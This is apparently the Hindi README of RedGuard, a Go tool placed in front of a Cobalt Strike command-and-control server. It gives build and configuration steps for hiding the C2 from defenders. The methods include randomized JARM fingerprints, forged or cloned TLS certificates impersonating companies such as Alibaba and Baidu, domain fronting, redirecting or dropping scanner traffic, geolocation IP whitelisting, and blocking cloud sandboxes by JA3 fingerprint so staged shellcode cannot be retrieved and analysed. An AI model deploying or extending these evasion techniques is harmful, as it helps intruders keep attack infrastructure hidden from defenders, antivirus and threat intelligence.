
C2 फ्रंट फ्लो नियंत्रण उपकरण जिसमें JA3/JARM फ़िंगरप्रिंट रैंडमाइज़ेशन, डोमेन फ्रंटिंग, मैलेबल C2 प्रोफ़ाइल सत्यापन, और IP व्हाइटलिस्टिंग शामिल है ताकि ब्लू टीमों, AVs, EDRs, और साइबरस्पेस मैपिंग से बचा जा सके।
अंग्रेज़ी | 中文文档

RedGuard, कमांड और कंट्रोल (C2) फ्रंट फ्लो नियंत्रण तकनीक पर आधारित एक व्युत्पन्न उपकरण है, जिसमें हल्का डिज़ाइन, कुशल ट्रैफ़िक इंटरैक्शन और go प्रोग्रामिंग भाषा में विकास के साथ विश्वसनीय अनुकूलता है।जैसे-जैसे साइबर हमले लगातार विकसित हो रहे हैं, रेड और ब्लू टीम अभ्यास अधिक जटिल होते जा रहे हैं, RedGuard को रेड टीम के लिए एक बेहतर C2 चैनल छिपाने का समाधान प्रदान करने के लिए डिज़ाइन किया गया है, जो C2 चैनल के लिए फ्लो नियंत्रण प्रदान करता है, "दुर्भावनापूर्ण" विश्लेषण ट्रैफ़िक को अवरुद्ध करता है, और संपूर्ण हमले के कार्य को बेहतर ढंग से पूरा करता है।
RedGuard एक C2 फ्रंट फ्लो नियंत्रण उपकरण है जो ब्लू टीम, AVS, EDR, साइबरस्पेस सर्च इंजन का पता लगाने से बच सकता है।
आप सीधे संकलित संस्करण डाउनलोड और उपयोग कर सकते हैं, या आप स्वतंत्र संकलन और निष्पादन के लिए दूरस्थ रूप से go पैकेज डाउनलोड कर सकते हैं।```bash git clone https://github.com/wikiZ/RedGuard.git cd RedGuard
go build -ldflags "-s -w" -trimpath
chmod +x ./RedGuard&&./RedGuard
# 0x02 कॉन्फ़िगरेशन विवरण
## आरंभीकरण
जैसा कि नीचे दिए गए चित्र में दिखाया गया है, निष्पादन योग्य अनुमतियाँ सेट करें और RedGuard को आरंभ करें। पहली बार चलाने पर लचीली फ़ंक्शन कॉन्फ़िगरेशन प्राप्त करने के लिए वर्तमान उपयोगकर्ता होम डायरेक्टरी में एक कॉन्फ़िगरेशन फ़ाइल उत्पन्न होगी। कॉन्फ़िगरेशन फ़ाइल का नाम: **.RedGuard_CobaltStrike.ini**.

**कॉन्फ़िगरेशन फ़ाइल सामग्री:**

cert के कॉन्फ़िगरेशन विकल्प मुख्य रूप से नमूने और C2 फ्रंट बुनियादी ढांचे के बीच SSL प्रमाणपत्र एन्क्रिप्टेड HTTPS संचार के कॉन्फ़िगरेशन जानकारी के लिए हैं। प्रॉक्सी का उपयोग मुख्य रूप से रिवर्स प्रॉक्सी ट्रैफ़िक में नियंत्रण विकल्पों को कॉन्फ़िगर करने के लिए किया जाता है। विशिष्ट उपयोग नीचे विस्तार से समझाया जाएगा।
SSL प्रमाणपत्र एन्क्रिप्टेड HTTPS संचार RedGuard के निष्पादन निर्देशिका के अंतर्गत cert-rsa/ निर्देशिका में उत्पन्न होगा। आप कॉन्फ़िगरेशन फ़ाइल को संशोधित करके टूल के बुनियादी कार्यों को शुरू और बंद कर सकते हैं **(प्रमाणपत्र की क्रम संख्या टाइमस्टैम्प के अनुसार उत्पन्न होती है, इस सुविधा से जुड़े होने की चिंता न करें)**।यदि आप अपना स्वयं का प्रमाणपत्र उपयोग करना चाहते हैं, तो उन्हें ca.crt और ca.key नाम दें।```bash
openssl x509 -in ca.crt -noout -text

हर बार जब RedGuard शुरू किया जाता है तो रैंडम TLS JARM फिंगरप्रिंट अपडेट किए जाते हैं, ताकि इसका उपयोग C2 बुनियादी ढांचे को प्रमाणित करने के लिए न किया जा सके।

अपना स्वयं का प्रमाणपत्र उपयोग करने के मामले में, कॉन्फ़िगरेशन फ़ाइल में HasCert पैरामीटर को true में संशोधित करें, ताकि JARM अस्पष्टता यादृच्छिकीकरण के कारण CipherSuites एन्क्रिप्शन सूट और कस्टम प्रमाणपत्र की असंगति से उत्पन्न सामान्य संचार समस्याओं को रोका जा सके।```bash
HasCert = false
### Forged TLS certificates
Domain fronting को C2 ट्रैफ़िक को छिपाने के लिए तैनात करते समय, त्वरित डोमेन नाम में डिफ़ॉल्ट रूप से HTTPS प्रमाणपत्र जानकारी नहीं होती है। यह स्पष्ट रूप से समस्याग्रस्त है, इसलिए डोमेन नाम कॉन्फ़िगर करते समय आपको प्रमाणपत्र कॉन्फ़िगर करने पर ध्यान देने की आवश्यकता है। यह यह निर्धारित करने का डिफ़ॉल्ट आधार भी है कि नमूना डोमेन फ्रंट-एंड ट्रैफ़िक है या नहीं।

[^Tencent Cloud]: सामग्री वितरण नेटवर्क प्रमाणपत्र कॉन्फ़िगरेशन
मेरा मानना है कि इसे पढ़ने के बाद सभी के मन में कुछ प्रश्न होंगे, **कॉन्फ़िगर किया गया प्रमाणपत्र कैसे प्राप्त करें? यदि आप प्रमाणपत्र के लिए अपना स्वयं का एप्लिकेशन उपयोग करते हैं, तो यह हमारे अपेक्षित गुमनामी प्रभाव को पूरा नहीं करेगा।** यहां आप कॉन्फ़िगरेशन के लिए क्लोन किए गए प्रमाणपत्र का उपयोग कर सकते हैं। Tencent Cloud को एक उदाहरण के रूप में लेते हुए, परीक्षण में पाया गया कि यह कस्टम अपलोड किए गए प्रमाणपत्र की वैधता को सत्यापित नहीं करेगा। हम त्वरित डोमेन नाम की वास्तविक साइट के समान प्रमाणपत्र का उपयोग करके इसे जाली बना सकते हैं। हालांकि जाली प्रमाणपत्र सामान्य परिस्थितियों में CS के डिफ़ॉल्ट प्रमाणपत्र को बदलने पर संचार नहीं कर सकता है, लेकिन जब इसे क्लाउड सेवा प्रदाता CDN फुल-साइट एक्सेलेरेशन और RedGuard पर तैनात किया जाता है, तो यह वैधता को सत्यापित नहीं करेगा, और C2 इंटरैक्टिव ट्रैफ़िक सामान्य रूप से संचार कर सकता है।
**निम्नलिखित Github पर मौजूदा प्रोजेक्ट का पता है**```bash
https://github.com/virusdefender/copy-cert
हालांकि नमूना डोमेन के फ्रंट-एंड ट्रैफ़िक पक्ष पर प्रमाणपत्र हल हो गया है, लेकिन बड़े पैमाने पर नेटवर्क मैपिंग के दृष्टिकोण से, हमारा C2 सर्वर अभी भी बाहरी दुनिया के लिए खुला है और वास्तविक C2 सर्वर से पता लगाया और जोड़ा जा सकता है। इस समय, RedGuard का उपयोग C2 के फ्रंटिंग डिफ़ॉल्ट प्रमाणपत्र को संशोधित करके गुमनामी प्राप्त करने के लिए किया जा सकता है।

[^intelligence information]: TLS Certificates
उपरोक्त C2 सर्वर के नकली प्रमाणपत्र का प्रभाव है। यह देखा जा सकता है कि यह थ्रेटबुक समुदाय की खुफिया जानकारी में विश्वसनीय है और समाप्त नहीं हुआ है। डिजिटल प्रमाणपत्र प्राप्त करने का मुख्य तरीका क्लाउड सैंडबॉक्स में नमूना विश्लेषण के दौरान इसे निकालना और वास्तविक समय में अपडेट करना है, लेकिन यह स्पष्ट रूप से प्रभावी रूप से सत्यापित नहीं है। स्थिति मान केवल समाप्ति समय को सत्यापित करता है। प्रमाणपत्र विश्वास सत्यापन केवल इस आधार पर होना चाहिए कि सामान्य संचार प्राप्त किया जा सकता है या नहीं।
यह ध्यान दिया जाना चाहिए कि थ्रेटबुक खुफिया जानकारी प्रमाणपत्र खुफिया के साथ नमूना अनुरोधों के SNI और HOST पतों को चिह्नित नहीं करती है। यह वास्तव में गलत सकारात्मक को रोकने के लिए है। मुझे लगता है कि यह सही है। शोधकर्ताओं के विश्लेषण में सहायता के लिए एक महत्वपूर्ण आधार के रूप में, खतरा खुफिया जानकारी का अधूरा होना गलत दिशा की ओर इशारा करने से बेहतर है, जो बाद के विश्लेषण में गलत निर्णय का कारण बनेगा। यदि पूर्ण-साइट त्वरण के लिए प्रमाणपत्र कॉन्फ़िगर करने का अर्थ संचार ट्रैफ़िक के लिए प्रमाणपत्र जाली बनाना है, तो RedGuard C2 का प्री-रिस्पॉन्स प्रमाणपत्र कॉन्फ़िगर करने का अर्थ सार्वजनिक नेटवर्क पर तैनात वास्तविक C2 सर्वर के व्यवहार संबंधी विशेषताओं को जाली बनाना है ताकि एंटी-मैपिंग प्रभाव प्राप्त किया जा सके, जो बहुत आवश्यक है।
प्रमाणपत्र क्रमांक निकालें: 55e6acaed1f8a430f9a938c5, और TLS प्रमाणपत्र फ़िंगरप्रिंट प्राप्त करने के लिए HEX एन्कोडिंग करें: 26585094245224241434632730821
खोज परिणाम मात्रा: 2291
साइबरस्पेस मैपिंग के माध्यम से, 2,291 स्वतंत्र IP पतों की खोज की गई, और सत्यापन ने पुष्टि की कि उन सभी के पास Baidu से संबंधित TLS प्रमाणपत्र थे। केवल संचार ट्रैफ़िक के आधार पर यह निर्धारित करना मुश्किल है कि यह दुर्भावनापूर्ण संचार है या नहीं। हालाँकि, डोमेन फ्रंट-एंड + C2 फ्रंट-एंड ट्रैफ़िक सुविधाओं के लिए TLS प्रमाणपत्र जाली बनाए गए, जिससे स्पेस मैपिंग और खतरा खुफिया जानकारी में सफलतापूर्वक हस्तक्षेप हुआ, जिससे गलत सूचना जुड़ाव हुआ, हमलावर के ट्रैफ़िक की विशेषताएँ अधिक यथार्थवादी बनीं, और सामान्य संचार ट्रैफ़िक को जाली बनाने का उद्देश्य प्राप्त हुआ।

भले ही C2 ट्रैफ़िक फ्रंट-एंड सुविधा से पहले कोई छिपी हुई फ़ॉरवर्डिंग प्रक्रिया न हो, RedGuard के लिए प्रमाणपत्र बदलना सबसे अच्छा है। डिफ़ॉल्ट रूप से, साइबरस्पेस मैपिंग में वर्तमान में उपयोग किए जाने वाले सामान्य घटकों की फ़िंगरप्रिंट पहचान द्वारा गठित कोई भी फ़िंगरप्रिंट लाइब्रेरी, पहचान के लिए सामान्य घटकों की डिफ़ॉल्ट कॉन्फ़िगरेशन विशेषताओं के व्यवहार का उपयोग करती है। विभिन्न समूह इन अनुकूलन प्रक्रियाओं के दौरान अलग-अलग अद्वितीय विशेषताएँ दिखा सकते हैं। बेशक, फ़िंगरप्रिंट के निर्माण के लिए लक्ष्य घटक की एक निश्चित समझ की आवश्यकता होती है, ताकि लक्ष्य की डिफ़ॉल्ट विशेषताओं को निकाला जा सके और एक संबद्ध फ़िंगरप्रिंट बनाया जा सके। यहाँ, RG प्रमाणपत्र की व्यवहार संबंधी विशेषताओं का उपयोग साइबरस्पेस मैपिंग के लिए किया जाता है, जो सार्वजनिक नेटवर्क पर तैनात बड़ी संख्या में RG नोड्स से जुड़ा होता है।
यह आश्चर्य की बात नहीं है कि लेखक फ़िंगरप्रिंट निकालने में सक्षम था, लेकिन फिर भी RedGuard उपयोगकर्ताओं को सलाह दी जाती है कि वे डिफ़ॉल्ट प्रमाणपत्र जानकारी को संशोधित करें और एक पेशेवर हैकर बनें:)
root@VM-4-13-ubuntu:~# ./RedGuard -h
Usage of ./RedGuard: -DelHeader string Customize the header to be deleted -DropAction string RedGuard interception action (default "redirect") -EdgeHost string Set Edge Host Communication Domain (default "") -EdgeTarget string Set Edge Host Proxy Target (default "") -FieldFinger string Set HTTP Header identification field Info -FieldName string Set the name of the HTTP Header identification field -HasCert string Whether to use the certificate you have applied for (default "true") -allowIP string Proxy Requests Allow IP (default "") -allowLocation string Proxy Requests Allow Location (default "") -allowTime string Proxy Requests Allow Time (default "") -common string Cert CommonName (default ".aliyun.com") -config string Set Config Path -country string Cert Country (default "CN") -dns string Cert DNSName -host string Set Proxy HostTarget -http string Set Proxy HTTP Port (default ":80") -https string Set Proxy HTTPS Port (default ":443") -ip string IPLookUP IP -locality string Cert Locality (default "HangZhou") -location string IPLookUP Location (default "风起") -malleable string Set Proxy Requests Filter Malleable File (default "*") -organization string Cert Organization (default "Alibaba (China) Technology Co., Ltd.") -redirect string Proxy redirect URL (default "https://360.net") -type string C2 Server Type (default "CobaltStrike") -u Enable configuration file modification
**P.S. आप पैरामीटर कमांड का उपयोग करके कॉन्फ़िगरेशन फ़ाइल को संशोधित कर सकते हैं। बेशक, मुझे लगता है कि इसे vim के साथ मैन्युअल रूप से संशोधित करना अधिक सुविधाजनक हो सकता है।**
# 0x03 टूल का उपयोग
## बुनियादी इंटरसेप्शन
यदि आप सीधे रिवर्स प्रॉक्सी के पोर्ट तक पहुँचते हैं, तो इंटरसेप्शन नियम ट्रिगर हो जाएगा। यहाँ आप आउटपुट लॉग के माध्यम से क्लाइंट अनुरोध की रूट डायरेक्टरी देख सकते हैं, लेकिन चूंकि अनुरोध में आवश्यक क्रेडेंशियल यानी सही HOST अनुरोध हेडर नहीं है, इसलिए बुनियादी इंटरसेप्शन नियम ट्रिगर होता है, और ट्रैफ़िक <https://360.net> पर रीडायरेक्ट हो जाता है।
यह केवल आउटपुट का प्रदर्शन है, वास्तविक उपयोग में इसे `nohup ./RedGuard &` के माध्यम से बैकग्राउंड में चलाया जा सकता है।
```bash
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
उपरोक्त स्लाइस से यह देखना कठिन नहीं है कि 360.net को स्थानीय पोर्ट 8080 पर प्रॉक्सी किया जा रहा है, 360.com को स्थानीय पोर्ट 4433 पर प्रॉक्सी किया जा रहा है, और उपयोग किया जाने वाला HTTP प्रोटोकॉल भी अलग है। वास्तविक उपयोग में, लिसनर के प्रोटोकॉल प्रकार पर ध्यान देना आवश्यक है, जो यहाँ सेटिंग्स के अनुरूप हो, और संबंधित HOST अनुरोध हेडर सेट करें।

जैसा कि उपरोक्त चित्र में दिखाया गया है, अनधिकृत पहुंच के मामले में, हमें जो प्रतिक्रिया जानकारी मिलती है, वह रीडायरेक्ट की गई साइट का रिटर्न जानकारी भी है।
उपरोक्त बुनियादी अवरोधन मामले में, डिफ़ॉल्ट अवरोधन विधि का उपयोग किया जाता है, अवैध ट्रैफ़िक को रीडायरेक्ट करके अवरोधित किया जाता है। कॉन्फ़िगरेशन फ़ाइल को संशोधित करके, हम अवरोधन विधि और रीडायरेक्ट की गई साइट URL को बदल सकते हैं। वास्तव में, इसे रीडायरेक्ट कहने के बजाय, मुझे लगता है कि इसे अपहरण, क्लोनिंग के रूप में वर्णित करना अधिक उपयुक्त हो सकता है, क्योंकि लौटाया गया प्रतिक्रिया स्थिति कोड 200 है, और क्लोन/अपहृत वेबसाइट का यथासंभव निकटता से अनुकरण करने के लिए दूसरी वेबसाइट से प्रतिक्रिया प्राप्त की जाती है।
अमान्य पैकेट को तीन रणनीतियों के अनुसार गलत तरीके से रूट किया जा सकता है:
drop_action = proxy
Redirect = https://360.net
कॉन्फ़िगरेशन फ़ाइल में **Redirect = URL** अपहृत URL पते को इंगित करता है। RedGuard "hot change" का समर्थन करता है, जिसका अर्थ है कि जब उपकरण `nohup` के माध्यम से पृष्ठभूमि में चल रहा हो, तब भी हम कॉन्फ़िगरेशन फ़ाइल को संशोधित कर सकते हैं। सामग्री वास्तविक समय में शुरू और बंद की जाती है।```bash
./RedGuard -u --drop true
ध्यान दें कि कमांड लाइन के माध्यम से कॉन्फ़िगरेशन फ़ाइल को संशोधित करते समय, -u विकल्प अनुपस्थित नहीं होना चाहिए, अन्यथा कॉन्फ़िगरेशन फ़ाइल को सफलतापूर्वक संशोधित नहीं किया जा सकता है। यदि आपको डिफ़ॉल्ट कॉन्फ़िगरेशन फ़ाइल सेटिंग्स को पुनर्स्थापित करने की आवश्यकता है, तो आपको केवल ./RedGuard -u दर्ज करना होगा।
एक अन्य अवरोधन विधि DROP है, जो सीधे HTTP संचार प्रतिक्रिया को बंद कर देती है और DROP = true सेट करके सक्षम की जाती है। विशिष्ट अवरोधन प्रभाव इस प्रकार है:

यह देखा जा सकता है कि C2 फ्रंट फ्लो कंट्रोल बिना HTTP प्रतिक्रिया कोड के अवैध अनुरोधों के लिए सीधे प्रतिक्रिया बंद कर देता है। साइबरस्पेस मैपिंग के पता लगाने में, DROP विधि पोर्ट के खुलने को छिपा सकती है। निम्नलिखित मामले में विशिष्ट प्रभाव देखा जा सकता है। विश्लेषण।
मेरा मानना है कि कई उपयोगकर्ता हाइजैकिंग प्रतिक्रिया में रुचि लेंगे। सामान्य सिद्धांत यह है कि जब क्लाइंट वास्तविक C2 सर्वर से अनुरोध करता है, क्योंकि यह इनबाउंड नियमों को पूरा नहीं करता, C2 सर्वर निर्दिष्ट सामान्य साइट प्राप्त करेगा और उसकी प्रतिक्रिया जानकारी लौटाएगा। इसलिए, प्रभाव अनुरोध अंत से, ऐसा लगता है कि यह IP सेवा के साथ इंटरैक्ट कर रहा है, लेकिन वास्तव में, मध्यवर्ती C2 सर्वर का उपयोग सामान्य साइट के साथ इंटरैक्ट करने के लिए प्रॉक्सी सर्वर के रूप में किया जाता है, और असामान्यताएं खोजना मुश्किल है। यदि यह इनबाउंड अनुरोध को पूरा करता है, तो ट्रैफ़िक अनुरोध को इंटरैक्शन के लिए वास्तविक C2 सेवा सुनने वाले पोर्ट पर अग्रेषित किया जाएगा, और वास्तविक सुनने वाले पोर्ट को क्लाउड फ़ायरवॉल द्वारा फ़िल्टर किया गया है, जो केवल स्थानीय पहुंच की अनुमति देता है, और इसे बाहर से सीधे एक्सेस नहीं किया जा सकता है। इसलिए बाहरी पोर्ट खोलने के दृष्टिकोण से, केवल HTTP/S पोर्ट खुला है, और एक अर्थ में, यह वास्तव में C2 का ऑनलाइन पोर्ट है।

[^ट्रैफ़िक प्रवाह आरेख]: C2 सर्वर ट्रैफ़िक इंटरैक्शन प्रक्रिया
साइबरस्पेस मैपिंग डेटा में, IP के HTTP/S खुले पोर्ट का प्रतिक्रिया कोड 200 है, न कि 307 जंप, जो अधिक प्रामाणिक है।

HTTPS प्रमाणपत्र का वही प्रभाव है जो ऊपर बताए गए नकली प्रमाणपत्र का है, और दोनों वास्तविक प्रमाणपत्रों के फिंगरप्रिंट हैं।

मेरा मानना है कि कई रेड टीमें लड़ाई परियोजनाओं की प्रक्रिया में क्लाउड फ़ंक्शन/डोमेन फ्रंटिंग जैसी छिपाने की विधियों का व्यापक रूप से उपयोग करेंगी। हालांकि, आज के आक्रामक और रक्षात्मक टकराव में, उपरोक्त दो छिपाने की विधियों में एक घातक समस्या है, वह यह कि वे सीधे C2 सेवा से जुड़ सकते हैं। परिणाम निस्संदेह यह है कि जब हम क्लाउड फ़ंक्शन पता या डोमेन फ्रंटिंग का इंटरैक्टिव IP/HOST प्राप्त करते हैं, तो हम सीधे C2 सुनने वाली सेवा तक पहुंच सकते हैं और साबित कर सकते हैं कि यह एक हमला सुविधा है।

चूंकि ट्रैफ़िक सीधे C2 तक पहुंच सकता है, यह विचार करने योग्य है कि क्या सुरक्षा उपकरण SNI और HOST से मेल नहीं खाने वाले ट्रैफ़िक पर CS स्कैनिंग कर सकता है ताकि यह पहचाना जा सके कि यह दुर्भावनापूर्ण ट्रैफ़िक है या नहीं। क्लाउड फ़ंक्शन या सैंडबॉक्स वातावरण के लिए भी यही सच है। नमूना पक्ष के अलावा, और अधिक ट्रैफ़िक-स्तरीय विश्लेषण प्रक्रियाएं भी हो सकती हैं।
हाइजैकिंग प्रतिक्रिया के बाद, HTTP सेवा तक सीधी पहुंच वेबसाइट के साथ सामान्य रूप से इंटरैक्ट कर सकती है, लेकिन Cscan नमूना जानकारी को स्कैन नहीं कर सकता क्योंकि ट्रैफ़िक वास्तविक C2 श्रोता तक नहीं पहुंच सकता। सामान्य C2 इंटरैक्शन तभी संभव है जब ट्रैफ़िक आरंभ की विशेषताएं पूरी हों। हालांकि, एक समस्या है। C2 स्कैनिंग स्क्रिप्ट को इनबाउंड नियमों का पालन करना होता है, जो ब्लू टीम विश्लेषकों की कोडिंग क्षमता पर एक निश्चित परीक्षण डालता है। वर्तमान में सार्वजनिक स्कैनिंग स्क्रिप्ट Nmap के रूप में है।

JA3 क्लाइंट और सर्वर के बीच एन्क्रिप्टेड संचार के लिए अधिक पहचानने योग्य फिंगरप्रिंट प्रदान करता है। यह दुर्भावनापूर्ण क्लाइंट और सर्वर के बीच TLS वार्ता की पहचान करने के लिए TLS फिंगरप्रिंट का उपयोग करता है, जिससे दुर्भावनापूर्ण क्लाइंट को संबद्ध करने का प्रभाव प्राप्त होता है। यह फिंगरप्रिंट MD5 एन्क्रिप्शन का उपयोग करके किसी भी प्लेटफ़ॉर्म पर उत्पन्न करना आसान है और वर्तमान में खतरे की खुफिया में व्यापक रूप से उपयोग किया जाता है। उदाहरण के लिए, यह विभिन्न नमूनों के बीच सहसंबंध साबित करने के लिए कुछ सैंडबॉक्स के नमूना विश्लेषण रिपोर्ट में देखा जा सकता है।
यदि हम C2 सर्वर और दुर्भावनापूर्ण क्लाइंट के JA3(S) में महारत हासिल कर सकते हैं, भले ही ट्रैफ़िक एन्क्रिप्टेड हो और C2 सर्वर का IP पता या डोमेन नाम अज्ञात हो, हम अभी भी TLS फिंगरप्रिंटिंग के माध्यम से दुर्भावनापूर्ण क्लाइंट और सर्वर के बीच TLS वार्ता की पहचान कर सकते हैं। मेरा मानना है कि यह देखने के बाद हर कोई इसके बारे में सोच सकता है, जो डोमेन फ्रंटिंग, रिवर्स प्रॉक्सी और क्लाउड फ़ंक्शन जैसी ट्रैफ़िक फॉरवर्डिंग छिपाने की विधियों से निपटने का एक उपाय भी है। सैंडबॉक्स निष्पादन नमूना पहचान और C2 संचार TLS वार्ता के माध्यम से JA3(S) फिंगरप्रिंट उत्पन्न करते हैं, जिसे सहायक ट्रेसिंग प्राप्त करने के लिए खतरे की खुफिया में लागू किया जा सकता है।
मैंने 2022 में इस तकनीक की घोषणा की थी। माइक्रो-स्टेप सैंडबॉक्स वातावरण का परीक्षण करते समय, मैंने पाया कि हालांकि इंटरैक्शन का अनुरोध करने वाले एग्रेस IP की संख्या कम थी, सैंडबॉक्स को IP द्वारा पहचानना सटीक नहीं था, और यह एक ऐसी विशेषता थी जिसे आसानी से बदला जा सकता था, लेकिन इसका JA3 फिंगरप्रिंट समान सिस्टम वातावरण में अद्वितीय था। बाद में, मुझे प्रतिक्रिया मिली कि सैंडबॉक्स ने फिंगरप्रिंट रैंडमाइजेशन पूरा कर लिया है, लेकिन हाल के परीक्षणों में पाया गया है कि इसे पूरी तरह से लागू नहीं किया गया है। मैं अभी भी ट्रैफ़िक पक्ष पर फिंगरप्रिंट की समस्या का सामना करने की उम्मीद करता हूं।
क्लाउड सैंडबॉक्स के दृष्टिकोण से, नमूने और C2 सर्वर के बीच ट्रैफ़िक इंटरैक्शन की निगरानी करके, JA3(S) फिंगरप्रिंट उत्पन्न होता है ताकि दुर्भावनापूर्ण क्लाइंट की पहचान की जा सके और इस प्रकार एक संबंध बनाया जा सके। उल्टा सोचते हुए, C2 के सामने एक ट्रैफ़िक नियंत्रण सुविधा के रूप में, हम क्लाइंट अनुरोध का JA3 फिंगरप्रिंट प्राप्त करने के लिए ऐसे ऑपरेशन भी कर सकते हैं। विभिन्न सैंडबॉक्स वातावरणों को डीबग करके, ये JA3 फिंगरप्रिंट प्राप्त किए जाते हैं ताकि एक फिंगरप्रिंट लाइब्रेरी बनाई जा सके, जिससे एक बुनियादी अवरोधन रणनीति बनती है।
कल्पना करें कि स्टेज्ड ट्रोजन इंटरैक्शन की प्रक्रिया में, लोडर पहले रिमोट एड्रेस का शेलकोड खींचेगा। फिर, जब ट्रैफ़िक पहचानता है कि अनुरोध JA3 फिंगरप्रिंट लाइब्रेरी की क्लाउड सैंडबॉक्स विशेषताओं को पूरा करता है, तो यह बाद के अनुरोधों को रोक देगा। यदि शेलकोड प्राप्त नहीं किया जा सकता है, तो संपूर्ण लोडिंग प्रक्रिया पूरी नहीं की जा सकती है, और सैंडबॉक्स स्वाभाविक रूप से इसका पूरी तरह से विश्लेषण नहीं कर सकता है। यदि वातावरण एक स्टेजलेस ट्रोजन है, तो सैंडबॉक्स विश्लेषण भी अंततः C2 सर्वर पर अपलोड नहीं किया जा सकेगा। मेरा मानना है कि हर कोई नींद से जाग गया है और C2 पर लटके बहुत सारे लंबे समय के सैंडबॉक्स रिकॉर्ड पाए हैं। बेशक, एक आदर्श स्थिति में, हम विभिन्न सैंडबॉक्स वातावरणों की पहचान कर सकते हैं, जो मुख्य रूप से फिंगरप्रिंट लाइब्रेरी की विश्वसनीयता पर निर्भर करता है।
परीक्षण के दौरान, मैंने पाया कि ZoomEye GO भाषा अनुरोध लाइब्रेरी के JA3 फिंगरप्रिंट को फिंगरप्रिंट लाइब्रेरी में जोड़ने और RG अनुरोध ट्रैफ़िक की निगरानी करने के बाद, अधिकांश अनुरोधों ने JA3 फिंगरप्रिंट लाइब्रेरी सुविधा के बुनियादी अवरोधन को ट्रिगर किया। यहाँ मैं अनुमान लगाता हूं कि सर्वेक्षण और मैपिंग उत्पाद की अंतर्निहित भाषा GO भाषा में लागू स्कैनिंग कार्य का हिस्सा है। एक लिंक के माध्यम से, विभिन्न अंतर्निहित भाषाओं से बनी स्कैनिंग तर्क ने अंततः पूरे स्कैनिंग कार्य को पूरा किया। यह भी बताता है कि क्यों कुछ सर्वेक्षण और मैपिंग उत्पादों के स्कैनिंग ने GO भाषा अनुरोध लाइब्रेरी की JA3 फिंगरप्रिंट अवरोधन सुविधा को ट्रिगर किया। पहचान नियम सिद्धांत क्लाउड सैंडबॉक्स फिंगरप्रिंट के समान है। दोनों अनुरोध क्लाइंट वातावरण और अनुरोध लाइब्रेरी की विशिष्टता का उपयोग करते हैं। PC पक्ष के विपरीत, इन उत्पादों का अनुरोध वातावरण मूल रूप से इच्छानुसार नहीं बदला जाएगा, जो हमें इसके ट्रैफ़िक पक्ष फिंगरप्रिंट को पकड़ने और रोकने में सक्षम बनाता है, तो क्या हम सोच सकते हैं कि क्या सुरक्षा उपकरण सक्रिय पहचान ट्रैफ़िक के JA3 फिंगरप्रिंट को अवरोधन के आधार के रूप में उपयोग कर सकता है? बेशक, जब व्यावसायिक ट्रैफ़िक बड़ा होता है, तो कुछ झूठे अलार्म हो सकते हैं। यहाँ हम केवल सैद्धांतिक रूप से व्यवहार्य उत्पाद आवश्यकताओं का प्रस्ताव करते हैं।
P.S. उपयोगकर्ता अपने JA3 फिंगरप्रिंट प्राप्त करने और सत्यापित करने तथा उन्हें फिंगरप्रिंट लाइब्रेरी में जोड़ने के लिए सैंडबॉक्स में नमूने अपलोड भी कर सकते हैं। यह ध्यान दिया जाना चाहिए कि यदि सैंडबॉक्स केवल JA3 फिंगरप्रिंट को उपरोक्त फिंगरप्रिंट से अलग बदलता है तो यह अर्थहीन है। वास्तव में जिस चीज़ को हल करने की आवश्यकता है वह यह है कि हर बार जब सैंडबॉक्स गतिशील विश्लेषण करता है, तो यह समान फिंगरप्रिंट नहीं होता है, और इसके परिवर्तनों को जितना संभव हो सके दोहराने की आवश्यकताओं को पूरा करना होता है। यदि पुनरावृत्ति दर अधिक है, तो इसका उपयोग अभी भी फिंगरप्रिंट के रूप में किया जाएगा।
वर्तमान में प्रभाव प्रदर्शन के रूप में थ्रेटबुक क्लाउड सैंडबॉक्स की पहचान और अवरोधन का समर्थन करता है

कॉन्फ़िगरेशन फ़ाइल में निम्नलिखित दो मापदंडों का कॉन्फ़िगरेशन रिवर्स प्रॉक्सी पोर्ट को बदलने का प्रभाव प्राप्त करता है। अनुशंसा की जाती है कि डिफ़ॉल्ट पोर्ट छिपाने का उपयोग करें जब तक कि यह वर्तमान सर्वर पोर्ट से विरोध न करे। यदि इसे संशोधित करना आवश्यक है, तो पैरामीटर मान के : को गायब न होने दें```bash
Port_HTTPS = :443
Port_HTTP = :80
## RedGuard लॉग्स
ब्लू टीम के ट्रेसिंग व्यवहार का विश्लेषण लक्षित अनुरोध के इंटरसेप्शन लॉग के माध्यम से किया जाता है, जिसका उपयोग पीयर कनेक्शन घटनाओं/समस्याओं को ट्रैक करने के लिए किया जा सकता है। लॉग फ़ाइल उस निर्देशिका में उत्पन्न होती है जहाँ RedGuard चल रहा है, **फ़ाइल नाम: RedGuard.log**।

## RedGuard वास्तविक IP पता प्राप्त करें
यह अनुभाग वर्णन करता है कि किसी अनुरोध का वास्तविक IP पता प्राप्त करने के लिए RG को कैसे कॉन्फ़िगर किया जाए। आपको केवल C2 डिवाइस के प्रोफ़ाइल में निम्नलिखित कॉन्फ़िगरेशन जोड़ने की आवश्यकता है, लक्ष्य का वास्तविक IP पता अनुरोध हेडर X-Forwarded-For के माध्यम से प्राप्त होता है।```bash
http-config {
set trust_x_forwarded_for "true";
}
कॉन्फ़िगरेशन विधि AllowLocation = Jinan, Beijing को एक उदाहरण के रूप में लेती है। ध्यान दें कि RedGuard रिवर्स IP आरोपण के लिए दो API प्रदान करता है, एक मुख्यभूमि चीन के उपयोगकर्ताओं के लिए और दूसरा गैर-मुख्यभूमि चीन के उपयोगकर्ताओं के लिए, और इनपुट भौगोलिक डोमेन नाम के अनुसार गतिशील रूप से यह निर्धारित कर सकता है कि किस API का उपयोग करना है। यदि लक्ष्य चीन है तो निर्धारित क्षेत्र के लिए चीनी का उपयोग करें, अन्यथा अंग्रेजी स्थान नामों का उपयोग करें। मुख्यभूमि चीन के उपयोगकर्ताओं को चीनी नामों का उपयोग करने की सलाह दी जाती है, ताकि आरोपण की सटीकता और रिवर्स क्वेरी द्वारा प्राप्त API की प्रतिक्रिया गति सर्वोत्तम विकल्प हों।
P.S. मुख्यभूमि चीन के उपयोगकर्ता, AllowLocation = Jinan,beijing का इस प्रकार उपयोग न करें! इसका कोई खास मतलब नहीं है, पैरामीटर मान का पहला अक्षर यह निर्धारित करता है कि किस API का उपयोग करना है!```bash
AllowLocation = *

क्षेत्र को प्रतिबंधित करने का निर्णय लेने से पहले, आप निम्नलिखित कमांड द्वारा मैन्युअल रूप से IP पता क्वेरी कर सकते हैं।```bash
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to query
